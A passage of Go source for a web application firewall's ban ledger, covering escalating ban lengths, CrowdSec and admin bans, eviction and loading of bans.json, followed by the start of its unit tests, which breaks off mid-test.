// WouldBanForCrowdSec returns what BanForCrowdSec would, without making
|
||||
// the ban: what observe mode would have done.
|
||||
func (l *Ledger) WouldBanForCrowdSec(
|
||||
netblock netip.Prefix, now, expires time.Time, scenario string, notes Notes,
|
||||
) (Ban, bool) {
|
||||
return l.ban(netblock, now, expires, CauseCrowdSec, crowdSecReason(scenario), notes,
|
||||
false)
|
||||
}
|
||||
|
||||
// WouldBePermanent reports whether a ban on netblock for cause, CauseLimit,
|
||||
// CauseAttack or CauseCrowdSec, made at now would be permanent, as
|
||||
// BanForLimit, BanForAttack or BanForCrowdSec would make it. It works out
|
||||
// nothing else of the ban. A ban for CrowdSec's decision is never
|
||||
// permanent: it ends with the decision.
|
||||
func (l *Ledger) WouldBePermanent(
|
||||
netblock netip.Prefix, now time.Time, cause string,
|
||||
) bool {
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
|
||||
var held []Ban
|
||||
if bans, found := l.netblocks.Peek(netblock); found {
|
||||
held = *bans
|
||||
}
|
||||
|
||||
switch cause {
|
||||
case CauseAttack:
|
||||
return l.attackExpiry(held, now).IsZero()
|
||||
case CauseLimit:
|
||||
return l.limitExpiry(held, now).IsZero()
|
||||
default: // CauseCrowdSec
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
// limitReason is the reason of a ban for a broken limit, with notes.
|
||||
func limitReason(notes Notes) string {
|
||||
return fmt.Sprintf("%s per %s over the limit of %d",
|
||||
notes.Kind, notes.Window, notes.Limit)
|
||||
}
|
||||
|
||||
// attackReason is the reason of a ban for a clear sign of attack, with
|
||||
// notes.
|
||||
func attackReason(notes Notes) string {
|
||||
if notes.TrapPath != "" {
|
||||
return "asked for the trap path " + notes.TrapPath
|
||||
}
|
||||
|
||||
return "matched the rule " + notes.RuleID
|
||||
}
|
||||
|
||||
// crowdSecReason is the reason of a ban for CrowdSec's decision, which
|
||||
// scenario made.
|
||||
func crowdSecReason(scenario string) string {
|
||||
return "CrowdSec's decision for " + scenario
|
||||
}
|
||||
|
||||
// BanForAdmin bans netblock at now for an admin, with reason, until
|
||||
// expires, or for good when expires is zero, and returns the ban, whose
|
||||
// cause is CauseAdmin. Unlike BanForLimit and BanForAttack, it makes the
|
||||
// ban even while another on netblock is active, since the admin asked
|
||||
// for this one. The ledger fills in the notes' EarlierBans, and counts
|
||||
// the ban among those made.
|
||||
func (l *Ledger) BanForAdmin(
|
||||
netblock netip.Prefix, now, expires time.Time, reason string,
|
||||
) Ban {
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
|
||||
ban := Ban{
|
||||
Netblock: netblock.Masked(), Start: now, Expires: expires, Cause: CauseAdmin,
|
||||
Reason: reason,
|
||||
}
|
||||
|
||||
held, found := l.netblocks.Get(ban.Netblock)
|
||||
if found {
|
||||
ban.Notes.EarlierBans = earlierBans(*held)
|
||||
}
|
||||
|
||||
l.add(ban)
|
||||
l.made[CauseAdmin]++
|
||||
l.markChanged()
|
||||
|
||||
return ban
|
||||
}
|
||||
|
||||
// Lift lifts, at now, every ban active then on a netblock client is in,
|
||||
// as an admin does, and returns those bans. A lifted ban is kept, refuses
|
||||
// nothing, and does not make the netblock's next ban longer.
|
||||
func (l *Ledger) Lift(client netip.Addr, now time.Time) []Ban {
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
|
||||
var lifted []Ban
|
||||
|
||||
for _, bans := range l.covering(client) {
|
||||
for i := range *bans {
|
||||
ban := &(*bans)[i]
|
||||
if ban.ActiveAt(now) {
|
||||
ban.Lifted = now
|
||||
lifted = append(lifted, *ban)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if len(lifted) > 0 {
|
||||
l.markChanged()
|
||||
}
|
||||
|
||||
return lifted
|
||||
}
|
||||
|
||||
// Covering returns every ban held on a netblock client is in, active or
|
||||
// not, sorted by netblock, and each netblock's bans oldest first. It is
|
||||
// not a request from client, and leaves when the netblocks were last seen
|
||||
// unchanged.
|
||||
func (l *Ledger) Covering(client netip.Addr) []Ban {
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
|
||||
var held []Ban
|
||||
for _, bans := range l.covering(client) {
|
||||
held = append(held, *bans...)
|
||||
}
|
||||
|
||||
slices.SortStableFunc(held, func(a, b Ban) int {
|
||||
return a.Netblock.Compare(b.Netblock)
|
||||
})
|
||||
|
||||
return held
|
||||
}
|
||||
|
||||
// Bans returns the bans held on netblock, oldest first. It is not a
|
||||
// request from netblock, and leaves when it was last seen unchanged.
|
||||
func (l *Ledger) Bans(netblock netip.Prefix) []Ban {
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
|
||||
bans, found := l.netblocks.Peek(netblock)
|
||||
if !found {
|
||||
return nil
|
||||
}
|
||||
|
||||
return slices.Clone(*bans)
|
||||
}
|
||||
|
||||
// AddLookup gives the notes of netblock's bans that have no AS number, AS
|
||||
// name or country yet those of a client in it, as the lookup answered
|
||||
// about it. It is not a request from netblock, and leaves when it was last
|
||||
// seen unchanged. It does not have bans.json written at once: the notes
|
||||
// are written with its next write, as the counts in them are.
|
||||
func (l *Ledger) AddLookup(netblock netip.Prefix, asn, asName, country string) {
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
|
||||
bans, found := l.netblocks.Peek(netblock)
|
||||
if !found {
|
||||
return
|
||||
}
|
||||
|
||||
for i := range *bans {
|
||||
notes := &(*bans)[i].Notes
|
||||
if notes.ASN == "" && notes.ASName == "" && notes.Country == "" {
|
||||
notes.ASN, notes.ASName, notes.Country = asn, asName, country
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Made returns how many bans for cause have been made since the start:
|
||||
// for CauseLimit and CauseAttack, by the ledger; for CauseAdmin, by an
|
||||
// admin, with BanForAdmin or in an edit of bans.json, as LoadEdit counts
|
||||
// them. The bans read from bans.json at the start are not among them.
|
||||
func (l *Ledger) Made(cause string) int {
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
|
||||
return l.made[cause]
|
||||
}
|
||||
|
||||
// Count returns how many of the bans held are active at now, and how many
|
||||
// of those are permanent. A lifted ban is neither.
|
||||
func (l *Ledger) Count(now time.Time) (int, int) {
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
|
||||
active, permanent := 0, 0
|
||||
|
||||
for _, bans := range l.netblocks.Values() {
|
||||
for _, ban := range *bans {
|
||||
if !ban.ActiveAt(now) {
|
||||
continue
|
||||
}
|
||||
|
||||
active++
|
||||
|
||||
if ban.Permanent() {
|
||||
permanent++
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return active, permanent
|
||||
}
|
||||
|
||||
// Snapshot returns every ban held, sorted by netblock, and each
|
||||
// netblock's bans oldest first, as bans.json lists them.
|
||||
func (l *Ledger) Snapshot() []Ban {
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
|
||||
held := make([]Ban, 0, l.held)
|
||||
for _, bans := range l.netblocks.Values() {
|
||||
held = append(held, *bans...)
|
||||
}
|
||||
|
||||
slices.SortStableFunc(held, func(a, b Ban) int {
|
||||
return a.Netblock.Compare(b.Netblock)
|
||||
})
|
||||
|
||||
return held
|
||||
}
|
||||
|
||||
// Load puts bans read from bans.json at the start into the ledger, in
|
||||
// place of the bans it holds, in the order they started, so that a
|
||||
// netblock whose last ban started latest counts as the most recently
|
||||
// seen. A ban without a cause is an admin's, and gets CauseAdmin. Each
|
||||
// netblock is masked to its length, so that 203.0.113.9/24 is
|
||||
// 203.0.113.0/24, and each text in the notes is cut to 256 bytes. Past
|
||||
// MaxBans the earliest bans whose cause is not CauseAdmin are dropped, as
|
||||
// when they are made.
|
||||
func (l *Ledger) Load(bans []Ban) {
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
|
||||
l.load(bans)
|
||||
}
|
||||
|
||||
// LoadEdit is Load for an admin's edit of bans.json, taken in while
|
||||
// sww runs. Each ban in it whose cause is CauseAdmin, and which
|
||||
// the ledger did not hold, with the same netblock and start, is one the
|
||||
// admin made, and is counted among the bans made.
|
||||
func (l *Ledger) LoadEdit(bans []Ban) {
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
|
||||
l.made[CauseAdmin] += l.load(bans)
|
||||
}
|
||||
|
||||
// load does what Load describes, and returns how many of bans are bans
|
||||
// whose cause is CauseAdmin that the ledger did not hold before.
|
||||
func (l *Ledger) load(bans []Ban) int {
|
||||
bans = slices.Clone(bans)
|
||||
added := 0
|
||||
|
||||
for i := range bans {
|
||||
ban := &bans[i]
|
||||
ban.Netblock = ban.Netblock.Masked()
|
||||
ban.Notes.Request = ban.Notes.Request.cut()
|
||||
|
||||
if ban.Cause == "" {
|
||||
ban.Cause = CauseAdmin
|
||||
}
|
||||
|
||||
if ban.Cause == CauseAdmin && !l.holds(ban.Netblock, ban.Start) {
|
||||
added++
|
||||
}
|
||||
}
|
||||
|
||||
slices.SortStableFunc(bans, func(a, b Ban) int {
|
||||
return a.Start.Compare(b.Start)
|
||||
})
|
||||
|
||||
l.netblocks.Purge()
|
||||
l.held = 0
|
||||
l.v4Lengths, l.v6Lengths = nil, nil
|
||||
|
||||
for _, ban := range bans {
|
||||
l.add(ban)
|
||||
}
|
||||
|
||||
return added
|
||||
}
|
||||
|
||||
// holds reports whether the ledger holds a ban on netblock that started
|
||||
// at start.
|
||||
func (l *Ledger) holds(netblock netip.Prefix, start time.Time) bool {
|
||||
bans, found := l.netblocks.Peek(netblock)
|
||||
|
||||
return found && slices.ContainsFunc(*bans, func(ban Ban) bool {
|
||||
return ban.Start.Equal(start)
|
||||
})
|
||||
}
|
||||
|
||||
// ban bans netblock at now for cause, with reason and notes, as
|
||||
// BanForLimit, BanForAttack and BanForCrowdSec describe, and returns the
|
||||
// ban, and whether it made it. expires is when a ban for CauseCrowdSec
|
||||
// ends, and zero for the others, whose end the ledger works out. Unless
|
||||
// keep is true, the ban is not made, only returned: it is the ban that
|
||||
// would have been made.
|
||||
func (l *Ledger) ban(
|
||||
netblock netip.Prefix, now, expires time.Time, cause, reason string, notes Notes,
|
||||
keep bool,
|
||||
) (Ban, bool) {
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
|
||||
// held are the netblock's bans, none of them active.
|
||||
var held []Ban
|
||||
|
||||
bans, found := l.netblocks.Get(netblock)
|
||||
if found {
|
||||
active := activeBan(*bans, now)
|
||||
if active != nil {
|
||||
return *active, false
|
||||
}
|
||||
|
||||
held = *bans
|
||||
notes.EarlierBans = earlierBans(held)
|
||||
}
|
||||
|
||||
notes.Request = notes.Request.cut()
|
||||
ban := Ban{Netblock: netblock, Start: now, Cause: cause, Reason: reason, Notes: notes}
|
||||
|
||||
switch cause {
|
||||
case CauseAttack:
|
||||
ban.Expires = l.attackExpiry(held, now)
|
||||
case CauseLimit:
|
||||
ban.Expires = l.limitExpiry(held, now)
|
||||
default: // CauseCrowdSec
|
||||
ban.Expires = expires
|
||||
}
|
||||
|
||||
if !keep {
|
||||
return ban, true
|
||||
}
|
||||
|
||||
l.add(ban)
|
||||
l.made[cause]++
|
||||
l.markChanged()
|
||||
|
||||
return ban, true
|
||||
}
|
||||
|
||||
// earlierBans returns how many bans a netblock with the bans held, oldest
|
||||
// first, has had, by cause. Each ban held gives a count: the bans its
|
||||
// notes count before it, and one for it and each ban held after it. A
|
||||
// ban's count misses a ban dropped after it to make room, and that of an
|
||||
// admin's ban added to bans.json without notes misses the bans before it,
|
||||
// so the count that names the most bans is taken, whole: a ban an admin
|
||||
// keeps by giving it CauseAdmin is still counted under its old cause in
|
||||
// later bans' notes, and taking each cause from another count would count
|
||||
// it twice.
|
||||
func earlierBans(held []Ban) EarlierBans {
|
||||
// fromHere counts ban and the bans held after it.
|
||||
var most, fromHere EarlierBans
|
||||
|
||||
for _, ban := range slices.Backward(held) {
|
||||
switch ban.Cause {
|
||||
case CauseLimit:
|
||||
fromHere.Limit++
|
||||
case CauseAttack:
|
||||
fromHere.Attack++
|
||||
case CauseAdmin:
|
||||
fromHere.Admin++
|
||||
case CauseCrowdSec:
|
||||
fromHere.CrowdSec++
|
||||
}
|
||||
|
||||
notes := ban.Notes.EarlierBans
|
||||
count := EarlierBans{
|
||||
Limit: notes.Limit + fromHere.Limit,
|
||||
Attack: notes.Attack + fromHere.Attack,
|
||||
Admin: notes.Admin + fromHere.Admin,
|
||||
CrowdSec: notes.CrowdSec + fromHere.CrowdSec,
|
||||
}
|
||||
|
||||
// Of counts that name as many bans, the earlier ban's is taken: it
|
||||
// counts more of the bans held by the cause they have now.
|
||||
if count.total() >= most.total() {
|
||||
most = count
|
||||
}
|
||||
}
|
||||
|
||||
return most
|
||||
}
|
||||
|
||||
// total returns how many bans e counts, of all causes.
|
||||
func (e EarlierBans) total() int {
|
||||
return e.Limit + e.Attack + e.Admin + e.CrowdSec
|
||||
}
|
||||
|
||||
// markChanged has Changed receive a value, unless one is waiting already.
|
||||
func (l *Ledger) markChanged() {
|
||||
select {
|
||||
case l.changed <- struct{}{}:
|
||||
default: // a value is waiting already
|
||||
}
|
||||
}
|
||||
|
||||
// active returns the ban active at now on a netblock client is in, or
|
||||
// nil. If several netblocks have one, it returns a permanent ban when
|
||||
// there is one.
|
||||
func (l *Ledger) active(client netip.Addr, now time.Time) *Ban {
|
||||
lengths := l.v6Lengths
|
||||
if client.Is4() {
|
||||
lengths = l.v4Lengths
|
||||
}
|
||||
|
||||
var first *Ban
|
||||
|
||||
for _, length := range lengths {
|
||||
bans, found := l.netblocks.Get(netip.PrefixFrom(client, length).Masked())
|
||||
if !found {
|
||||
continue
|
||||
}
|
||||
|
||||
ban := activeBan(*bans, now)
|
||||
if ban == nil {
|
||||
continue
|
||||
}
|
||||
|
||||
if ban.Permanent() {
|
||||
return ban
|
||||
}
|
||||
|
||||
if first == nil {
|
||||
first = ban
|
||||
}
|
||||
}
|
||||
|
||||
return first
|
||||
}
|
||||
|
||||
// covering returns the bans of each netblock held that client is in,
|
||||
// leaving when the netblocks were last seen unchanged.
|
||||
func (l *Ledger) covering(client netip.Addr) []*[]Ban {
|
||||
lengths := l.v6Lengths
|
||||
if client.Is4() {
|
||||
lengths = l.v4Lengths
|
||||
}
|
||||
|
||||
var found []*[]Ban
|
||||
|
||||
for _, length := range lengths {
|
||||
bans, ok := l.netblocks.Peek(netip.PrefixFrom(client, length).Masked())
|
||||
if ok {
|
||||
found = append(found, bans)
|
||||
}
|
||||
}
|
||||
|
||||
return found
|
||||
}
|
||||
|
||||
// add adds ban to its netblock's bans, after the last, and makes its
|
||||
// netblock the most recently seen. With MaxBans held, it drops one first,
|
||||
// unless ban's cause is CauseAdmin, which does not count toward MaxBans.
|
||||
func (l *Ledger) add(ban Ban) {
|
||||
counted := ban.Cause != CauseAdmin
|
||||
if counted && l.held == l.params.MaxBans {
|
||||
l.dropOne()
|
||||
}
|
||||
|
||||
// dropOne can have dropped the netblock's last ban, and the netblock
|
||||
// with it.
|
||||
bans, found := l.netblocks.Get(ban.Netblock)
|
||||
if !found {
|
||||
bans = &[]Ban{}
|
||||
l.netblocks.Add(ban.Netblock, bans)
|
||||
}
|
||||
|
||||
*bans = append(*bans, ban)
|
||||
|
||||
if counted {
|
||||
l.held++
|
||||
}
|
||||
|
||||
lengths := &l.v6Lengths
|
||||
if ban.Netblock.Addr().Is4() {
|
||||
lengths = &l.v4Lengths
|
||||
}
|
||||
|
||||
if !slices.Contains(*lengths, ban.Netblock.Bits()) {
|
||||
*lengths = append(*lengths, ban.Netblock.Bits())
|
||||
}
|
||||
}
|
||||
|
||||
// limitExpiry returns when a ban for a broken limit made at now ends, or
|
||||
// zero when it is permanent. held are the netblock's bans, none of them
|
||||
// active, of which the one that ended last, other than a ban for a clear
|
||||
// sign of attack or for CrowdSec's decision, or a lifted one, can make the
|
||||
// new ban longer. A ban an admin adds to bans.json can start after
|
||||
// another and end before it, so that one is looked for among them all.
|
||||
func (l *Ledger) limitExpiry(held []Ban, now time.Time) time.Time {
|
||||
length := l.params.LimitBanDuration
|
||||
|
||||
var last *Ban
|
||||
|
||||
for i, ban := range held {
|
||||
if (ban.Cause == CauseLimit || ban.Cause == CauseAdmin) && ban.Lifted.IsZero() &&
|
||||
(last == nil || ban.Expires.After(last.Expires)) {
|
||||
last = &held[i]
|
||||
}
|
||||
}
|
||||
|
||||
if last != nil && now.Sub(last.Expires) <= l.params.LimitBanRepeatWindow {
|
||||
lastLength := last.Expires.Sub(last.Start)
|
||||
// This is repeatFactor * lastLength > MaxBanDuration, written so
|
||||
// that it cannot overflow.
|
||||
if lastLength > l.params.MaxBanDuration/repeatFactor {
|
||||
return time.Time{}
|
||||
}
|
||||
|
||||
length = repeatFactor * lastLength
|
||||
}
|
||||
|
||||
if length > l.params.MaxBanDuration {
|
||||
return time.Time{}
|
||||
}
|
||||
|
||||
return now.Add(length)
|
||||
}
|
||||
|
||||
// attackExpiry returns when a ban for a clear sign of attack made at now
|
||||
// ends. held are the netblock's bans, none of them active: if one of them
|
||||
// is for a clear sign of attack too, and was not lifted, the new ban is
|
||||
// permanent, and its end zero; otherwise it ends AttackBanDuration later.
|
||||
func (l *Ledger) attackExpiry(held []Ban, now time.Time) time.Time {
|
||||
for _, ban := range held {
|
||||
if ban.Cause == CauseAttack && ban.Lifted.IsZero() {
|
||||
return time.Time{}
|
||||
}
|
||||
}
|
||||
|
||||
return now.Add(l.params.AttackBanDuration)
|
||||
}
|
||||
|
||||
// dropOne drops the earliest ban whose cause is not CauseAdmin of the
|
||||
// netblock that has gone longest without a request, of those that hold
|
||||
// such a ban, and the netblock with it if that was its only ban. It is
|
||||
// called with at least one such ban held. It looks at each netblock once
|
||||
// at most, and drops nothing when none holds such a ban.
|
||||
func (l *Ledger) dropOne() {
|
||||
for range l.netblocks.Len() {
|
||||
netblock, bans, _ := l.netblocks.GetOldest()
|
||||
|
||||
i := slices.IndexFunc(*bans, func(ban Ban) bool {
|
||||
return ban.Cause != CauseAdmin
|
||||
})
|
||||
if i < 0 {
|
||||
// Its bans are all an admin's, and never dropped. Get makes
|
||||
// it the most recently seen, so that the next netblock is
|
||||
// looked at; when it was seen matters only for dropping a
|
||||
// ban, and a ban added to it makes it the most recently seen
|
||||
// anyway.
|
||||
l.netblocks.Get(netblock)
|
||||
|
||||
continue
|
||||
}
|
||||
|
||||
if len(*bans) == 1 {
|
||||
l.netblocks.Remove(netblock)
|
||||
} else {
|
||||
*bans = slices.Delete(*bans, i, i+1)
|
||||
}
|
||||
|
||||
l.held--
|
||||
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
// cut returns r with each text cut to maxTextBytes and copied, so that
|
||||
// the notes do not keep the rest of the request in memory.
|
||||
func (r Request) cut() Request {
|
||||
r.Method = cutText(r.Method)
|
||||
r.Host = cutText(r.Host)
|
||||
r.Path = cutText(r.Path)
|
||||
r.UserAgent = cutText(r.UserAgent)
|
||||
|
||||
return r
|
||||
}
|
||||
|
||||
// cutText returns a copy of the first maxTextBytes of text.
|
||||
func cutText(text string) string {
|
||||
return strings.Clone(text[:min(len(text), maxTextBytes)])
|
||||
}
|
||||
@@ -1,523 +0,0 @@
|
||||
package bans_test
|
||||
|
||||
import (
|
||||
"net/netip"
|
||||
"reflect"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
||||
)
|
||||
|
||||
const day = 24 * time.Hour
|
||||
|
||||
func TestRepeatsTripleUntilPermanent(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
ledger := bans.New(defaultParams())
|
||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||
now := midnight()
|
||||
|
||||
// Each ban is followed by another as soon as it ends: 1, 3, 9, 27 and
|
||||
// 81 hours.
|
||||
for i, hours := range []int{1, 3, 9, 27, 81} {
|
||||
ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{})
|
||||
|
||||
length := time.Duration(hours) * time.Hour
|
||||
if !ban.Expires.Equal(now.Add(length)) ||
|
||||
ban.Notes.EarlierBans != (bans.EarlierBans{Limit: i}) {
|
||||
t.Fatalf("ban %d lasts %s with earlier bans %+v, want %d hours and %d for a limit",
|
||||
i+1, ban.Expires.Sub(now), ban.Notes.EarlierBans, hours, i)
|
||||
}
|
||||
|
||||
now = ban.Expires
|
||||
}
|
||||
|
||||
// The sixth would last 243 hours, more than seven days: it is
|
||||
// permanent, and never ends.
|
||||
ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{})
|
||||
if !ban.Permanent() {
|
||||
t.Fatalf("sixth ban ends at %s, want a permanent one", ban.Expires)
|
||||
}
|
||||
|
||||
_, banned, _ := ledger.Check(netblock.Addr(), now.Add(100*365*day))
|
||||
if !banned {
|
||||
t.Error("a permanent ban ended")
|
||||
}
|
||||
}
|
||||
|
||||
func TestRepeatWindowRunsOut(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, tc := range []struct {
|
||||
name string
|
||||
// gap is the time between the end of the first ban and the second.
|
||||
gap time.Duration
|
||||
want time.Duration
|
||||
}{
|
||||
{"broken again as the window ends", day, 3 * time.Hour},
|
||||
{"broken again after the window", day + time.Nanosecond, time.Hour},
|
||||
} {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
ledger := bans.New(defaultParams())
|
||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||
|
||||
first, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{})
|
||||
second, _ := ledger.BanForLimit(netblock, first.Expires.Add(tc.gap), bans.Notes{})
|
||||
|
||||
if second.Expires.Sub(second.Start) != tc.want ||
|
||||
second.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
|
||||
t.Errorf("second ban lasts %s with earlier bans %+v, want %s and 1 for a limit",
|
||||
second.Expires.Sub(second.Start), second.Notes.EarlierBans, tc.want)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestFirstBanLongerThanTheMaximumIsPermanent(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
params := defaultParams()
|
||||
params.LimitBanDuration = params.MaxBanDuration + time.Hour
|
||||
ledger := bans.New(params)
|
||||
|
||||
ban, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.9/32"), midnight(),
|
||||
bans.Notes{})
|
||||
if !ban.Permanent() {
|
||||
t.Errorf("first ban ends at %s, want a permanent one", ban.Expires)
|
||||
}
|
||||
}
|
||||
|
||||
func TestLongestBanSetFarOffDoesNotOverflow(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// With bans of up to 100,000 days, the 14th ban in a row, of 3^13
|
||||
// hours, is within the maximum, and three times as long would not fit
|
||||
// in a time.Duration. The 15th is permanent.
|
||||
params := defaultParams()
|
||||
params.MaxBanDuration = 100000 * day
|
||||
ledger := bans.New(params)
|
||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||
now := midnight()
|
||||
|
||||
for i := range 14 {
|
||||
ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{})
|
||||
if !ban.Expires.After(ban.Start) {
|
||||
t.Fatalf("ban %d starts at %s and ends at %s", i+1, ban.Start, ban.Expires)
|
||||
}
|
||||
|
||||
now = ban.Expires
|
||||
}
|
||||
|
||||
ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{})
|
||||
if !ban.Permanent() {
|
||||
t.Errorf("15th ban ends at %s, want a permanent one", ban.Expires)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBrokenLimitDuringABanMakesNoOther(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
ledger := bans.New(defaultParams())
|
||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||
|
||||
first, made := ledger.BanForLimit(netblock, midnight(), bans.Notes{})
|
||||
if !made {
|
||||
t.Error("the first ban was not made")
|
||||
}
|
||||
|
||||
again, made := ledger.BanForLimit(netblock, midnight().Add(time.Minute), bans.Notes{})
|
||||
|
||||
if made || !reflect.DeepEqual(again, first) || len(ledger.Bans(netblock)) != 1 {
|
||||
t.Errorf("a limit broken during a ban gave %+v, made %t, and %d bans, "+
|
||||
"want %+v, not made, and 1", again, made, len(ledger.Bans(netblock)), first)
|
||||
}
|
||||
|
||||
again, made = ledger.BanForAttack(netblock, midnight().Add(time.Minute), bans.Notes{})
|
||||
if made || !reflect.DeepEqual(again, first) {
|
||||
t.Errorf("an attack during a ban gave %+v, made %t, want %+v, not made",
|
||||
again, made, first)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCheckRefusesWhileTheBanLastsAndCountsTheRefusals(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
ledger := bans.New(defaultParams())
|
||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||
ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Requests: 5})
|
||||
|
||||
for range 3 {
|
||||
got, banned, _ := ledger.Check(netblock.Addr(), ban.Expires.Add(-time.Nanosecond))
|
||||
if !banned || got.Start != ban.Start {
|
||||
t.Fatalf("check during the ban gives %+v and %t", got, banned)
|
||||
}
|
||||
}
|
||||
|
||||
_, banned, _ := ledger.Check(netip.MustParseAddr("203.0.113.10"), midnight())
|
||||
if banned {
|
||||
t.Error("another netblock is banned")
|
||||
}
|
||||
|
||||
_, banned, _ = ledger.Check(netblock.Addr(), ban.Expires)
|
||||
if banned {
|
||||
t.Error("the ban did not end")
|
||||
}
|
||||
|
||||
// The netblock's requests went from 5 to 8 with the three refused.
|
||||
notes := ledger.Bans(netblock)[0].Notes
|
||||
if notes.Refused != 3 || notes.Requests != 8 {
|
||||
t.Errorf("the notes count %d refused requests of %d, want 3 of 8",
|
||||
notes.Refused, notes.Requests)
|
||||
}
|
||||
}
|
||||
|
||||
func TestFindCountsNothing(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
ledger := bans.New(defaultParams())
|
||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||
ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Requests: 5})
|
||||
|
||||
got, banned, _ := ledger.Find(netblock.Addr(), ban.Expires.Add(-time.Nanosecond))
|
||||
if !banned || !reflect.DeepEqual(got, ban) {
|
||||
t.Errorf("find during the ban gives %+v and %t, want %+v", got, banned, ban)
|
||||
}
|
||||
|
||||
_, banned, _ = ledger.Find(netblock.Addr(), ban.Expires)
|
||||
if banned {
|
||||
t.Error("the ban did not end")
|
||||
}
|
||||
|
||||
if notes := ledger.Bans(netblock)[0].Notes; !reflect.DeepEqual(notes, ban.Notes) {
|
||||
t.Errorf("the notes are %+v, want them unchanged, %+v", notes, ban.Notes)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMaxBansDropsTheEarliestBanOfTheNetblockSeenLongestAgo(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
params := defaultParams()
|
||||
params.MaxBans = 3
|
||||
ledger := bans.New(params)
|
||||
a := netip.MustParsePrefix("203.0.113.1/32")
|
||||
b := netip.MustParsePrefix("203.0.113.2/32")
|
||||
c := netip.MustParsePrefix("203.0.113.3/32")
|
||||
d := netip.MustParsePrefix("2001:db8::/64")
|
||||
now := midnight()
|
||||
|
||||
first, _ := ledger.BanForLimit(a, now, bans.Notes{})
|
||||
ledger.BanForLimit(b, now, bans.Notes{})
|
||||
ledger.BanForLimit(c, now, bans.Notes{})
|
||||
|
||||
// A request from a makes b the netblock seen longest ago, and its ban
|
||||
// goes to make room for d's.
|
||||
ledger.Check(a.Addr(), now)
|
||||
ledger.BanForLimit(d, now, bans.Notes{})
|
||||
wantBans(t, ledger, map[netip.Prefix]int{a: 1, b: 0, c: 1, d: 1})
|
||||
|
||||
// a is banned again once its ban has ended; c, seen longest ago, goes.
|
||||
ledger.BanForLimit(a, first.Expires, bans.Notes{})
|
||||
wantBans(t, ledger, map[netip.Prefix]int{a: 2, c: 0, d: 1})
|
||||
|
||||
// With d seen since, a is seen longest ago, and its earlier ban goes
|
||||
// first.
|
||||
ledger.Check(d.Addr(), first.Expires)
|
||||
ledger.BanForLimit(b, first.Expires, bans.Notes{})
|
||||
wantBans(t, ledger, map[netip.Prefix]int{a: 1, b: 1, d: 1})
|
||||
|
||||
if !ledger.Bans(a)[0].Start.Equal(first.Expires) {
|
||||
t.Errorf("a kept its ban of %s, want the later one", ledger.Bans(a)[0].Start)
|
||||
}
|
||||
}
|
||||
|
||||
func TestFullLedgerDropsTheEarlierBanOfTheNetblockBannedAgain(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// With room for one ban, the netblock's ended ban goes to make room for
|
||||
// its new one, whose notes still count it.
|
||||
params := defaultParams()
|
||||
params.MaxBans = 1
|
||||
ledger := bans.New(params)
|
||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||
|
||||
first, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{})
|
||||
second, _ := ledger.BanForLimit(netblock, first.Expires, bans.Notes{})
|
||||
|
||||
held := ledger.Bans(netblock)
|
||||
if len(held) != 1 || !reflect.DeepEqual(held[0], second) ||
|
||||
held[0].Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
|
||||
t.Errorf("the ledger holds %+v, want only the second ban, "+
|
||||
"with 1 earlier ban for a limit", held)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRequestDuringAnAttackBanMakesItPermanent(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
ledger := bans.New(defaultParams())
|
||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||
notes := bans.Notes{RuleID: "env-file", Target: "path"}
|
||||
|
||||
